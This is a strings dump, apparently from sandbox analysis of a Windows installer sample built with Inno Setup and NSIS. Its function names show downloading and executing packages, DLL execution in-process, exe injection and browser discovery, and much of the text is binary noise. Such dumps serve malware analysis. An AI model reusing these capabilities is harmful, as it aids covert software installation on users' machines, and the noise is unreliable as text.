lzmadecompsmall: Compressed data is corrupted (%d)

lzmadecompsmall: %s

LzmaDecode failed (%d)

shell32.dll

/SUPPRESSMSGBOXES

/PASSWORD=password

Specifies the password to use.

For more detailed information, please visit hXXp://VVV.jrsoftware.org/ishelp/index.php?topic=setupcmdline

/SL5="$%x,%d,%d,

Inno Setup Setup Data (5.5.0)

Inno Setup Messages (5.5.3)

user32.dll

oleaut32.dll

advapi32.dll

RegOpenKeyExA

RegCloseKey

GetWindowsDirectoryA

MsgWaitForMultipleObjects

ExitWindowsEx

comctl32.dll

name="JR.Inno.Setup"

version="1.0.0.0"

name="Microsoft.Windows.Common-Controls"

version="6.0.0.0"

publicKeyToken="6595b64144ccf1df"

<requestedExecutionLevel level="asInvoker" uiAccess="false"/>

<windowsSettings>

<dpiAware xmlns="hXXp://schemas.microsoft.com/SMI/2005/WindowsSettings">true</dpiAware>

</windowsSettings>

<supportedOS Id="{e2011457-1546-43c5-a5fe-008deee3d3f0}"/>

<supportedOS Id="{35138b9a-5d96-4fbd-8e2d-a2440225f93a}"/>

<supportedOS Id="{4a2f28e3-53b9-4441-ba9c-d69d4a4a6e38}"/>

!'%s' is not a valid integer value('%s' is not a valid floating point value

'%s' is not a valid date

'%s' is not a valid time!'%s' is not a valid date and time

I/O error %d

Integer overflow Invalid floating point operation

Invalid pointer operation

Invalid class typecast0Access violation at address %p. %s of address %p

Operation aborted%Exception %s in module %s at %p.

Application Error1Format '%s' invalid or incompatible with argument

No argument for format '%s'

Invalid variant operation"Variant method calls not supported

External exception %x

Installer Web

1.3.9

aUAekFiG9xfybmhwsn4W6nWSok_is.exe_792_rwx_00900000_000CB000:

.rsrc

el32.dllwGetLongPathNameA

T_(_.SCK_LINES/2

;.OVI

Keyw

%s[%d]

-j}9}

%s_%d

gO"%F

~!.CC

.FDiag

Z.eX&

E(AL("%s",4),"

u...CXR

.ZZZH*-

[.yNcX

2,#.hE}

`h=.sd0

%6S=f

OS.FP K{

$%3Ui

.cu%BY

G%4xoD

%uGcW

.in1%

tLcibD.ZP*

rpOi.br2

I.trmor

^Io.ye

ToiZc.Xhj

`cc`k R,uc,.fd

 B.gG

Gisr%S

-\ T,/.Om

kW)Rh.LDPX

s:.LG

I.LLP

\.HTXrK

.XEC'

].jl_&4

.mTC\A.d,o

.RM^^HBU zlfHK 

vT.whxyW6z

N1.2.3

THttpt

",M.DJGA|

.FJn`w

ic6.fAX3V

FRI.AT'

.ePnM

,0489999

/K-33b.jG

mw.ll

.LjgtT2d

d.vLO0V

vgc4(.aR

j,.bpo

\þliaL

]@W.zb

}`<(-]4_,[.sO ]$

.jfo-X

QW],.WbciyFus_

.dof*

klkibg*7.Uw

hky4*.fe

I`?BaT'5.zJ

j,.OD

T.PdxH

Y/LYB.MT

J@, NYL.qZ

a.ZrOIU

@_YH.hD

QvKJA.ZS

f.OGpH

ZX/GBX.mCIN

GM.Pv

J.%fI

2.dt(1

H,.JZ

AQ.jZ

.TBH^-O

6gQ,.YGU

.ZLQQ-H,

.SLL_-4 H

?:96=>?59:;.ZQ

6?0N2=.Lqf

W]E).rG

-[4/>;84

/(.Ag

o.hA~

B}`%X

C%FQhxf

` `).L.dw

VQzd_%CN

Tc.Uv

<w.Ch7<(O\j)p

F%D\2

%C ZH

]H.if

bh[muQ.PT

.Lb/[

Uo)hix.CBO

.ev40

2U7%D|Q$

H..fyw KK

TPipeSdv

RW?CJ[hx.Xa

%Xlqe`0

AC^@[SQWLHEM G.so

].Lw/OFL[^\\

.Hktz`ikk

_.gROUHUOP

1/.vs

ym^rk.Um

.vok^/i

].SuspXL!K

IWeb)`A

D_:%F

rfKey?

pCmd

t.mI2

'%s' (

|ftp:

|p"h%F

.Advi

.1..WAH

1%X-o

*.Vt[

`cs>I.VN

.Ppi#

j~hq5.nM

Dô5=

PPi`djv D.zZv

yhe.Vf

ghl9.CW"

[email protected]#B'O

KPERHCV.Zt

Ei.Tc/hEde

FT*.lJ,e

dMSG_

.Ek{-K

anldf.RW

e.Hvw

r.vY?

X(kbm N.qX

hWkkaTmjC.Oo

ZY*rf.aeWv

.qB/hkk[lfqd.

NPIPE_DATA'

.OAX7u

HKz).jGNNL6.i-

?@[email protected]_^.N

HMVH9>.PE?

.CONTAE

PTcpw/

v=.vN

RO-\.Ac

pi1/w.vw6h

ung`.Nr

.qVi>^`RM

nGM[wha.Mo,

m-X.so

xEXE&a

$.PgGd

pek,.mmhka

D.DDmU>

W.ezfc.bzG

u-f.woaq

]no^dun.Vx

Z.Oo0

qzeon,.wvPA

/[email protected]

Ccbd.LG

4)|k.bR

`dd\.Srr8\T

.qshe|

hJX]J8.gWxubB]C.\

szv.ra

n.rvU*

LX%sC

1Ör

.tA_!3

o88.tE]

-s.Virtua

f/%fxc

H.JXARDb

0 .'7(2':

,'.-!:&'(' )

/.)*72-7)

(.<0.lX

#-**(-#,

.PMDF<7I

KERNEL32.DLL

advapi32.dll

comctl32.dll

comdlg32.dll

gdi32.dll

mpr.dll

ole32.dll

oleaut32.dll

shell32.dll

URLMON.DLL

user32.dll

version.dll

HtmlUIInstallerSADLL.dll

Rftp

V.Ynn

.sc#ZD&txR

.Jk1azk

f.ZwZ

_%6Su

D.BBQ

m.wFP3z

aC.Iw

aUAekFiG9xfybmhwsn4W6nWSok_is.exe_792_rwx_009D1000_00156000:

kernel32.dll

MSWHEEL_ROLLMSG

MSH_WHEELSUPPORT_MSG

MSH_SCROLL_LINES_MSG

$*@@@*$@@@$ *@@* $@@($*)@-$*@@$-*@@$*-@@(*$)@-*$@@*-$@@*$-@@-* $@-$ *@* $-@$ *-@$ -*@*- $@($ *)(* $)

htKeyword

EInvalidOperation

u%CNu

%s[%d]

%s_%d

.Owner

EInvalidGraphicOperation

USER32.DLL

comctl32.dll

UrlMon

IE(AL("%s",4),"AL(\"%0:s\",3)","JK(\"%1:s\",\"%0:s\")")

JumpID("","%s")

TKeyEvent

TKeyPressEvent

HelpKeyword

crSQLWait

%s (%s)

IMM32.DLL

AutoHotkeys

AutoHotkeys$

ssHotTrack

TWindowState

poProportional

TWMKey

KeyPreview

WindowState

OnKeyDown

OnKeyPress@

OnKeyUp

System\CurrentControlSet\Control\Keyboard Layouts\%.8x

vcltest3.dll

User32.dll

A`bng`@ikc-4,uUxlxs-4,Ht.HA

Vh-0,Cd`jiVhlxwd-0,tLcibD.ZP

TThreadExecuter

TScanAllWindowsCallBackData

Portuguese

ZkkdDocjn^g-4,o.ye

^ioM-3,iiziGmwItI.cG

\h-2,Jfal\`dgxj-4.DZ

Y`cc`k R,uc,.fd`kvd,, B.g

,-\ T,/.Om

hcl.sf

webqskv`T-Y

oj-2,`ac<<*kcb.jo

ak-2,`ob<< T,jcb.je

IN]JVN]K]KJ]B]F^UF@@]\v-2,ujbRBjazsnc^s`lkr-1,`-1,].jl

7Teah P,Ckh`-3,fkgo-2,7*NNYO.uh

1.2.3

THttpTimeOutThread

THttpCallBackShell

Gx-21,\igh]ixyj-42,M.DJ

A`qjz``-0,ZkdkNgij.pc

Kcqjpc`-0,Aaj-1,gEdafa`.pM

Jmvgknm Q,2,,<,./accwcxgeni5 W,O_GB R,=>)27,.Pkbjhu-4-.,IV,,8)37,.Spejblx Q,2,,< W.g W

Ecezcb-4 S,Tmeic6.fA

Bc/K-33,`-1.jG

Jbhblnrefc V,H-0,bv-1,li.AT

Uju-0,c-2 W,Ht-2,h-4.Rq

Ijv-1,h-0,jm Q,Jq-1,n-2,/,.u`l,.lnmw Q,ll`oj`zh`m-2 Q,xjzi`vz Q,kbz`.^l

Q-0,iznjib Q,`u,.tgu-0,qyi-1,ulb.a-F

Ob-4,/dcdzfe, kh-3,`/r-2,jld.vL

V-1,ns-4-.,hx V,lmdeehea,.mdhi Q,hi`onezhdh-2f.a

ebP-3,dLfnda`-4,`yj-4.PL

Zjlqk R,`p,.lf S-2,m-1,qmg)tgva S-1,cgdk R,zv-3,rfqz R,ol-1 R,jl`ll`zkfm RR,yjmi`mi R,fmk R-3,jzjfvz,,9,.

Bc-2,ni-1,k-4,cn,.bpo-1,agz-3,dhm,.nid`he-3,gbhy R -,aegca*zb V,ioceob,-idk,-,..Y-[

Hz U,pdkhp Q,zmbu,.qkd,.hvmzlsmk U,pd-1,sfs-2 U,`n`qbh` U,ghhcfskkw Q,mjmukkw:,.blh`b S,ua U,gh-2,tv`blex,.dom,.gvu,.qkd,.wfbkkw Q,akf/5.\

Elik, la,.dvu,.yfv-0,nps-2- ,buk, sf-2,xjii, ji,.[qhvr S,Jaof WS  ,pr-20,fdzbm`,.bmflbonzr S,sa, ghyeohoo S,a-1,dn W,m-3,qukew W-2,nqqky/ W,zyzn`l S,f`dwoky S,OKJG W-1,nrrkxw W,zd S,jo`f W-23,qb P.b,;

Mz,-xak`x T,zejp,.yca,.kbhk,-dj,.yca,.-3,nvxhy T,flx T,lhnj,.nce`jn`,.-3,bjmh, sk,-ge-2,y, p-1,dn`,.yd T,jb-1,jbbj`,.d-4,*,._nwzlypgcl T,jb-1,jbbj`,.le`,.dlja-4,bji,-hemen*.8_

Ykvuj-1,qhei U,uck U,dezlsn,.an-1,`injj U,)ykvuj-1,q Q,ea? QE.f

Vku-1,e-1,raji V,aj,.egj-2,czrorark V,ekjc(),.hg T,oekabczezogj,.iz T,FCI@,.`mezsza-2,(-;._

Zlipk T,mpk T,bm,.icpk T-4,m-0,vog-2 T,oc-3,ennk T,cd,.`cu`hccjmbe RT,jcgheli T,xjk T,hmyj`mo` R ,,N

Clbk,.idr`addj,--4,m-1,hja,.-3,n`c-3- ,qa,-i`,.kyjthe UV,`dwk,--4,moc, [.Y

Ka-2,`cakj/fk-2,/hkgckn R,/ckga,.nax`fanj*zg-1,ook,.c-2,/-230,le T.ej

@k-24,a-21,dk,.-0,yimc,-lg-0,ngxm-4,mj( P,(zgb(bgco,.-4,d-1,fgx-1-.,fh-4-.,kbf`mn-1,ggc V .,Oba`o,--1,a(-4,m-21,lzz(y`k(igyfagol SVP.Sc

Icpbacfh,--0,f-4--,Ofbnik`hh).BH

 UP.wg

Mfjh, nsyd R,eaj-1,udmfci, nu7, .Qv

Ubx-2,` S-4,ktvh-2,q S,dikl-4,ka/,--2,`q-0,kwp,-ylweapw,-FQW],.Wbci` S-30,usb-1,q S,zgio,-mdv-3,k U,gbykoboa S-4,kvwl-1,q,-.h,5

Lmboj``eak,,e-1-,,bcx,,ocb-1,`i-0,i R.GJ

*,.Nhjk[h-1,k2 QH.a

Kmr,,Ecdbco-3,eib*^gbmi V-0,k-4 V-4,ox V,xe,,.EA

Zydqjfdkn,.Ij-3,`ajhjhw)k-4,wf-1--,ffjh U,o-1,bh3,.].d

 V,/y-3,f5,,.Gu

Hoo,.xkogxkhz*`-3,chky4*.fe

Rvgmdpwhto T-1,dgm-1,d`p,.ovildq>,.._,1

 V .,bk-2-.,Y-1,f4,,.ge

<,-S-2,k7 V.qR

Tc-1,zbt,.et V,k-3,ui`iru,.jht,.xhi,.`hhi,,/.I,g

]KnzgcnlmLncgjby``o S,Mjry-0,`x UP,/vlz/blecdi)isbd/ob-2,/`x-2,gn-4,`udi)-0,i-4,lne,- Q.Lt

 U,4 V,mma V,li/eo`ccj,,`hbu/`-1,cb V,cmfh,.h`q```gj,,`t,.m-4,v,.xgtkmk W.aw

Zbb)-2,ou-4,kx W,m-1,ewykn W,jadilm-3,nf`*/ekyt)jksh,.xbjkcqlj*saod W-0,k-0,rl-23,bm WT-Lc

Zfj R-1,k-3,wk-20,gj,.-2,c`ij R,o`k R-31,`tgjjf,.aag,.jfdhk-2 RV,/.i

Qok R,vh-0,pfb,.fwh-3,r`c,.pdiig U,t-0,ruh-1,v, ,.u

 V,H SRV,odzcxc`a*ybcoz,.sd-3,gj*iahdomrce` V-2,cbj*mkr*bot-1,o-2,ron P.e-[

11112095

01089935

NA,.OD^ C.F

U[ W,YJY.Ur

40579382

[Y/LYB.MT

J@, NYL.qZ

31146207

03517390

I^,.ENc-T

12981927

62008128

[M*I^I.rH

ZX/GBX.mC

AY W,EFX.eb

QN,.BNAD-H.r

18624103

14559332

56264338

27502473

56736915

^H,.JZBCh

50890627

SA,.ES_M-X.p

PD,.KPXC-[

10561110

UL W,^AB^.UN

75326035

\Q,.YGUN-X,^

WW,.ZLQQ-H,5

68080913

05028256

27311256

^P,.SXTNCL

]DKizHi-4,exc-1,Hc`hk-3.GI

L_LCUNTF, KHC.op

0.0.0.0

3?:96=>?59:;.ZQ

6?0N2=.Lq

;768>1-80

cabinet.dll

\fgejnhg,.Dhr,.f-3- ,z`b, -2,gbyz,..8y

000000000000

 ;7.Q,>N-Y,[ T,Tc.Uv

/,.bwQkxtl`xaUogmg4, K.^

@FR,-efmh S,xhao/ch S,jyyqnbyfk Q,DmBd`l-2,x,-, 32=NM( S.Ln

Nbdzhc-3-.,bk*Hal-3,Hdao,.zly,.hu-31,ln-3,ki,--3,a7,-.eX

Y]H.if

d-3,tdcQqdc.Lb

TUninstallExecuter

)hix.CB

Wiglqsonn W,glqs-1,wasgmlt,.dmu,.crw,.lcjk8 R .,r

Y^`acxziagKphh-01,hy,.kle,.jh, mzhjzmi, afar,.gchk V-C.8

)Yoa-1,j4.Yt

 T,_jbpF`t>.PO

\jfaxjMgbj1,..fy

,.Kyfz,.Wnb-0,d5,..li

TPipeServer

TPipeObject

TPipeServerListener,p

TPipeClientU

isrPipe

]mexcbk,,lc-3-,,k``,,-3,di,,ebkccbk,,xi-1,cxx-4-,3,c,,oea-1,`oxi RTR.GE

M`on`edh,.yz/oj-3,j-1-,,znmgkhk-4 TQP.uI

CJ[hx.Xu

Clne,.Dixzlkgk-4 W,_f-4,bjj,-unononj,-jjv,-i-3,coby,.ba, hlng-04,bx,. U.2Y

GiOrxBvamwzkgi V  ,(r`jiijnmc,.gzuap2 WV .,x

_.Wo*BC-T5p7d.V-b,

K`unngg/o-0,o-0,k-3,b-2,v,.Azljoj R-1,f-1,ram-1,g,., flhl5 R.n]

NAER_[URNDT].Lw

Midiihk`,.Hktz`ikks U,Iol` W-1,dtrkrq W,y`v W,jdknke U,c-0,d U,sa Q,ifmj U,hh Q,Uugwlkkf` W,Cnab P,u N

PJU S,`f`mdke S,bhufq,.`w S,bdbpz Q,lmk Q,qf-3,nqw,.`oqk`gz,.rfmz/1.^

rdkecbm,.cizkcaq,.p`xapqmj.c,R

LJ_.ge

Mw-42,il-4,/zjzzm-14,/yznzmk W,/ljx-0,aaj-0,a`e/n`gkm-2,1/.vs

fxk S,Cym^rk.Um

ole32.dll

olepro32.dll

IWebBrowser

IWebBrowserApp

IWebBrowser2

TEWBWindowSetResizable

TEWBWindowSetLeft

TEWBWindowSetTop

TEWBWindowSetWidth

TEWBWindowSetHeight

bstrUrlContext

bstrUrl

OnWindowSetResizableh

OnWindowSetLeft

OnWindowSetTop

OnWindowSetWidth

OnWindowSetHeightP

grfKeyState

TComTargetExecEvent

CmdGroup

nCmdID

nCmdexecopt

hhctrl.ocx

URLMON.DLL

SHDOCLC.DLL

rcmDefault

rcmDebug

DontExecuteScripts

DontExecuteJava

DontExecuteActiveX

DisableUrlIfEncodingUTF8

EnableUrlIfEncodingUTF8

CheckFontSupportsCodePage

DisableSubmitUrlInUTF8

EnableSubmitUrlInUTF8

lpMsg

PMsg

pguidCmdGroup

TTranslateUrlEvent

pchURLIn

ppchURLOut

CmdID

pszUrl

pszUrlContext

szPassWord

ErrorUrl

OptionKeyPath

OverrideOptionKeyPath

OnTranslateUrl

OnCommandExec

'%s' is not supported.

TMsgEvent

TKeyEventEx

Port

Password

poPortrait

OnKeyDownL

0.750000

3333333

\Software\Microsoft\Windows\CurrentVersion\Internet Settings\User Agent

\Software\Microsoft\Windows\CurrentVersion\Internet Settings\User Agent\Post Platform

User-agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)

User-agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)(

This object does not support this method (

Unsupported type for Parameter with Index %d

Method call unsuccessful. Object: %s, Method: %s, Exception: %s , Source: %s.

hXXp://

hXXps://

eiOnKeyDown

eiOnKeyPress

eiOnKeyUp

OnKeyPress

Handler with EventID = %s already exists.

Error on IConnectionPoint.Advise

Source don't have connection point for [%s]

MZ(hrgkznff,.tpfm*lpkd-11,ghg(hf`dkc)-4,gsa(cbz-0,o`l2,..c-L

D^,,Jxhb-0,4,-.wY

Mhxohoj,.apk`p V,alncmz> V.i,d

MAPI32.DLL

LeftPopup

 W,@-1,sbfpfc? T,Z^\],.JH)GCQLK=HI9TV4W

Jcwh,.kp,-glulbkg7.N..

 S,Blcwg9.Nn

V-4,jhehq5.nM

,,kx-4,c-1,*-4,mgyhh R,*zezb,-aky-3,mio,-6,..Ug

YR-0,xh]izn.cQ

2.1.0.0

This exe was created with an old version of HtmlAppMaker.

-0,cnyzgcEi.Tc

[-2,o-4,j-2,cal/-3,`, -1,oao/-3,gn/f`l QTQ.uv

Fbi R,yh-1,to-4-.,Wxa,.ky,-`m-3--3,pe-0,gfoi P ..U

https

Sf[.t,T*.lJ,e

]ddegom Q,Bnm Q,zn*ufd*gamfnyhdf,.Txm4 QJN

Sw`iq`-12 S,c`-1,n U,xowfgkq U-01,jbhkq`k,.bc-0,kq U.j,S

I`nhlah,,C`-2,a U,xn-4 U-10,cu-44,ia/njqj-2-,.Jp

MSGALL

irsoMsgDialog

irsoJoinPath

irsoGetCmdLineParam

irsoGetCmdLineCount

irsoGetCmdLineIndexOf

irsoGetCmdLineParamValue

irsoGetCmdLineAll

irsoRegCreateKey

irsoRegCreateKeyTree

irsoRegDeleteKey

irsoIsRegKeyExists

irsoRegListKeyValues

irsoRegListKeyKeys

irsoRegSearchKeyKeys

irsoRegCopyKey

irsoGetRegKeyInfo

irsoHttpGetData

irsoHttpGetDataInThread

irsoLibraryExecuteProc

irsoLibraryExecuteProcW

irsoLibraryExecuteProcWithResult

!irsoLibraryExecuteProcWithResultW

irsoExecute

irsoExecuteDllInProcess

irsoSaveExecuteUsingCMD

irsoIsMutexExists

irsoCreatePipeServer

irsoStopPipeServer

irsoSendDataToPipeServer

irsoSetDebugLogUrl

irsoGetDebugLogUrl

irsoGetWebBrowserHandle

irsoGetCurExeCheckSum

irsoGetExeInjection

TExecArgs@

iubnyybRolkanldf.RW

b-1,[-1,e.Hv

.html

H-4,njBdi-2,o-4,r.vY

-4,fhxXahcxgw.rg

gghYcjrf.ae

jehGbeags.qB

PIPE_DATA

PIPE

LNYCD_^.eP

HMVH9>.PE

Rgjsc/fr V,n/schfrr-2,v Q,nnlj V-0,` Q,v-2,jwca-0 Q,N-0,bmSF/Ct`xrc-2,/ndejbr(-1 Q,OJ8 Q,`ncmdnlj VR,/ggfcdb/-0,n V-2,jliyj Q,o-0,/)NDJXYLZSTJAUYZ\DT VQO.q

\fkym,.gx(o,.ymigx-11,w, `om`(za, x-1,k-2,m`z, @zcg]G,.Izayxm-1-.,djdkh-1,)-2- ,AK9, nobgjom`( S .,migbnl,.zd(-1,kfgxk, az,. S,@EKRWBAHIBQFIMFBFK WU.9c

Dkejajc,.aj T-21,aeb-1,l T,cg`a R,(qvb2 T._,H

,-,.mhnz-1,u`-3,/ahbj= Q-4.\

-3,1 T-1,`-4,b-4,w37 P,abov=.vN

Efgefc,.-2,l W-2,hub,.-2,kb,.klhzzwuoy S,agef=,.-S,s

KH*ZgoH-4,mzyhp,-nba_ocf@eig,-c-3 R,cey R,:* U.UM

 W .,ebj,.jcz,.@e-2,of`kGA;Hohnomo R.?i

@mtmimva,.Ipva-3-. T-2,xcp-04,8 T,B.I

THtmlUIExeAppU

HtmlUIExeApp

S,-.QY

7 W,Lay W,yk-3,wd`-3,b, hbuf,.bsck-4 W,b`-3,sj`nb1,..f-2

Rbj-1,c,--1-.,gd`zno-2-.,od-1,zgdlk V,xz`hcai**-0,foy/-3,telkuy/yofc,.ef`-2,c T.j-[

Wgxc W-2,mtqkz V,SGECC,.GSS,. TV,dof Q,s,.lcskzkn`m V,nh(rokzc P-2,(gia-1,nb-1,(oi-21,gimm V,u-0,fhn`o( W,mghsgfsn`o()h.b

Umn-1,d R,x,.`kdzi`y,.hkxz`khk Q,w-3,`olei,- U-4,fhv, -3,sjhkrv, yhig,.bid-2,d, .f,Q

ung`.Nr

HtmlUiExeApp

gbo`dhfm.cV

Hckhkf R,pa R,pacmta,.vja,. P,Xk`g,,Mjglpgdka-1 PR,EbvQp-1,gciB,.

irsoExecutePackage

irsoReportPackageError

irsoReportPackageSkip

irsoReportPackageQuit

irsoReportPackageSuccess

irsoReportPackageInfo

irsoGetPackageFilenameFromHttp

irsoGetPackageExecExitCode

irsoGetPackageExecResult

irsoGetPackageDwnldUrls

irsoSetPackageRelProgressShare

irsoGetFireFoxEXE

irsoGetIEEXE

irsoGetChromeEXE

irsoGetOperaEXE

irsoGetFireFoxVer

irsoGetChromeVer

irsoGetOperaVer

irsoUninstallAddExeCmd

irsoUninstallAddOpenBrowserCmd

irsoUninstallAddRegistryKey

irsoUninstallExecute

irsoReportStart

irsoReportInfo

irsoSetExclusiveExec

isroSetReportUrl

-11,jycmjaOaahDgvyc-11.Pg

bhVkqz`-1 S,hjcbek,.mmhk S,ap-2,w,,wknml` S,xmk S-4,dcf,- U,[q`?,..`>

zfc.bz

]no^dun.Vx

\fuj-1,w U,P\O U,qah`k,.nlvcbqff,-U>

\GCAPMA][.oj

TcUlue.PL

W`mmqzeon,.wvamaff P,4.]

z`o1caig2,.hf5b Q,0cfh)914`,,34`6;ia2f=ae-3,L1

e-1,f.Cw

Zhtagcgxgca,,zec,,Ylrofht,,Blsbmec-3-.,yn-3,klb RPS.AY

-0,ilCcbd.LG

)h-4,k.bR

Yorifkt*you*-20,eik-2,ul-0,b-4,*kvci-0,zcn,.gh*cabo4,.-[.i

Ukszv.ra

[eckbn R-2,a, kgg-4,khbbxl,.blzzjneky R,N[B,,-G.9

FbghLbtaYhe.AU

1.2.1

inflate 1.2.1 Copyright 1995-2003 Mark Adler

deflate 1.2.1 Copyright 1995-2003 Jean-loup Gailly

?456789:;<=

!"#$%&'()* ,-./0123

333333333333333333

33333833

3333339

3333333333333338

:*"*"$3338

33333333

33333333333

3333333333338

33338?383

333333333333

:*3:"$3338

333333333333333

LX%sC

1Ör

..tA_!3

o88.tE]

u:.DD

GetProcessHeap

GetCPInfo

RegQueryInfoKeyA

RegOpenKeyExA

RegFlushKey

RegEnumKeyExA

RegDeleteKeyA

RegCreateKeyExA

RegCloseKey

SetViewportOrgEx

UnhookWindowsHookEx

SetWindowsHookExA

MapVirtualKeyA

LoadKeyboardLayoutA

GetKeyboardState

GetKeyboardLayoutList

GetKeyboardLayout

GetKeyState

GetKeyNameTextA

GetAsyncKeyState

EnumWindows

EnumThreadWindows

EnumChildWindows

ActivateKeyboardLayout

GetKeyboardType

"$ %),'8

38000=344

4? 3!0 3!6

&W!%D)*

H.JXA

1 0 .'7(2':

- /*-( ,'.-!$$$&'('/*) ,*/.)*72-7)

&)"%&$&'&",,/- '

944(@32%2u8

.PMDF<7I

2222444424

.idata

.edata

P.reloc

P.rsrc

SOFTWARE\Microsoft\Windows NT\CurrentVersion

errorUrl

Please login as administrator and try again.

OLE error %.8x%License information for %s is invalidPLicense information for %s not found. You cannot use this control in design modeNUnable to retrieve a pointer to a running object registered with OLE for %s/%s

Clipboard does not support Icons/Menu '%s' is already being used by another form

No help found for %s#No context-sensitive help installed$No topic-based help system installed

OLE error %.8x.Method '%s' not supported by automation object/Variant does not reference an automation object7Dispatch methods do not support more than 64 parameters

Error creating window class Cannot focus a disabled or invisible window!Control '%s' has no parent window

%s.Seek not implemented$Operation not allowed on sorted list$%s not in a class registration group

Property %s does not exist

Metafile is not valid!Cannot change the size of an icon Invalid operation on TOleGraphic

Unsupported clipboard format

Invalid stream format$''%s'' is not a valid component name

Invalid data type for '%s' List capacity out of bounds (%d)

List count out of bounds (%d)

List index out of bounds (%d) Out of memory while expanding memory stream

Error reading %s%s%s: %s

Failed to get data for '%s'

Failed to set data for '%s'

Resource %s not found

Ancestor for '%s' not found

Cannot assign a %s to a %s

Bits index out of range*Can't write to a read-only resource streamECheckSynchronize called from thread $%x, which is NOT the main thread

Class %s not found

A class named %s already exists%List does not allow duplicates ($0%x)#A component named %s already exists%String list does not allow duplicates

Cannot create file %s

Cannot open file %s

External exception %x

Interface not supported

%s (%s, line %d)

Abstract Error?Access violation at address %p in module '%s'. %s of address %p

System Error. Code: %d.

Invalid pointer operation

Invalid class typecast0Access violation at address %p. %s of address %p

Privileged instruction%Exception %s in module %s at %p.

Application Error1Format '%s' invalid or incompatible with argument

No argument for format '%s'

Invalid variant operation"Variant method calls not supported

!'%s' is not a valid integer value('%s' is not a valid floating point value

'%s' is not a valid GUID value

I/O error %d

Integer overflow Invalid floating point operation

aUAekFiG9xfybmhwsn4W6nWSok_sol.exe_1056:

.text

`.rdata

@.data

.ndata

.rsrc

uDSSh

.DEFAULT\Control Panel\International

Software\Microsoft\Windows\CurrentVersion

GetWindowsDirectoryA

KERNEL32.dll

ExitWindowsEx

USER32.dll

GDI32.dll

SHFileOperationA

ShellExecuteA

SHELL32.dll

RegEnumKeyA

RegCreateKeyExA

RegCloseKey

RegDeleteKeyA

RegOpenKeyExA

ADVAPI32.dll

COMCTL32.dll

ole32.dll

VERSION.dll

verifying installer: %d%%

hXXp://nsis.sf.net/NSIS_Error

... %d%%

~nsu.tmp

%u.%u%s%s

RegDeleteKeyExA

%s=%s

*?|<>/":

C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp\nsmE.tmp\dlmgn.exe "C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp\Temp\OaUAekFiG9xfybmhwsn4W6nWSokaUAekFiG9xfybmhwsn4W6nWSok\aUAekFiG9xfybmhwsn4W6nWSok_sol.exe"

C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp\nsmE.tmp

dlmgn.exe.config

<supportedRuntime version="v2.0.50727" />

<supportedRuntime version="v4.0" />

<supportedRuntime version="v4.5" />

<?xml version="1.0" encoding="utf-8"?><asmv1:assembly manifestVersion="1.0" xmlns="urn:schemas-microsoft-com:asm.v1" xmlns:asmv1="urn:schemas-microsoft-com:asm.v1" xmlns:asmv2="urn:schemas-microsoft-com:asm.v2" xmlns:xsi="hXXp://VVV.w3.org/2001/XMLSchema-instance"><assemblyIdentity version="1.0.0.0" name="MyApplication.app" /><trustInfo xmlns="urn:schemas-microsoft-com:asm.v2"><security><requestedPrivileges xmlns="urn:schemas-microsoft-com:asm.v3"><requestedExecutionLevel level="asInvoker" uiAccess="false" /></requestedPrivileges><applicationRequestMinimum><defaultAssemblyRequest permissionSetReference="Custom" /><PermissionSet ID="Custom" SameSite="site" /></applicationRequestMinimum></security></trustInfo><compatibility xmlns="urn:schemas-microsoft-com:compatibility.v1"><application><supportedOS Id="{e2011457-1546-43c5-a5fe-008deee3d3f0}"/><supportedOS Id="{35138b9a-5d96-4fbd-8e2d-a2440225f93a}"/><supportedOS Id="{4a2f28e3-53b9-4441-ba9c-d69d4a4a6e38}"/><supportedOS Id="{1f676c76-80e1-4239-95bb-83d0f6d0da78}"/></application></compatibility></asmv1:assembly>

&hXXps://VVV.globalsign.com/repository/03

"hXXp://crl.globalsign.net/root.crl0

&hXXps://VVV.globalsign.com/repository/0

-hXXp://crl.globalsign.com/gs/gscodesigng2.crl0

4hXXp://secure.globalsign.com/cacert/gscodesigng2.crt04

(hXXp://ocsp2.globalsign.com/gscodesigng20

!Certification Authority of WoSign0

hXXp://crls1.wosign.com/ca1.crl0g

hXXp://ocsp1.wosign.com/ca10.

"hXXp://aia1.wosign.com/ca1-tsa.cer0

!Certification Authority of WoSign

$000214F9-0000-0000-C000-000000000046

$0000010c-0000-0000-c000-000000000046

$0000010b-0000-0000-C000-000000000046

3System.Resources.Tools.StronglyTypedResourceBuilder

4.0.0.0

KMicrosoft.VisualStudio.Editors.SettingsDesigner.SettingsSingleFileGenerator

10.0.0.0

$07D66D3B-4491-43B6-81C0-88141A95FB9F

3.1.50

_CorExeMain

mscoree.dll

&?4?)?3?'

nsmE.tmp

C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp\nsmE.tmp\dlmgn.exe

C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp\Temp\OaUAekFiG9xfybmhwsn4W6nWSokaUAekFiG9xfybmhwsn4W6nWSok\aUAekFiG9xfybmhwsn4W6nWSok_sol.exe

C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp\Temp\OaUAekFiG9xfybmhwsn4W6nWSokaUAekFiG9xfybmhwsn4W6nWSok

aUAekFiG9xfybmhwsn4W6nWSok_sol.exe

CUME~1\"%CurrentUserName%"\LOCALS~1\Temp\nsmD.tmp

C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp\

<?xml version="1.0" encoding="UTF-8" standalone="yes"?><assembly xmlns="urn:schemas-microsoft-com:asm.v1" manifestVersion="1.0"><assemblyIdentity version="1.0.0.0" processorArchitecture="X86" name="Nullsoft.NSIS.exehead" type="win32"/><description>Nullsoft Install System v2.46</description><trustInfo xmlns="urn:schemas-microsoft-com:asm.v3"><security><requestedPrivileges><requestedExecutionLevel level="requireAdministrator" uiAccess="false"/></requestedPrivileges></security></trustInfo><compatibility xmlns="urn:schemas-microsoft-com:compatibility.v1"><application><supportedOS Id="{35138b9a-5d96-4fbd-8e2d-a2440225f93a}"/><supportedOS Id="{e2011457-1546-43c5-a5fe-008deee3d3f0}"/></application></compatibility></assembly>

imgr.exe

3.1.50.0

"3D9B94A98B-76A8-4810-B1A0-4BE7C4F9C98DA2#

PublicKeyToken=

publickeytoken=

dynamic method does not support fault clause

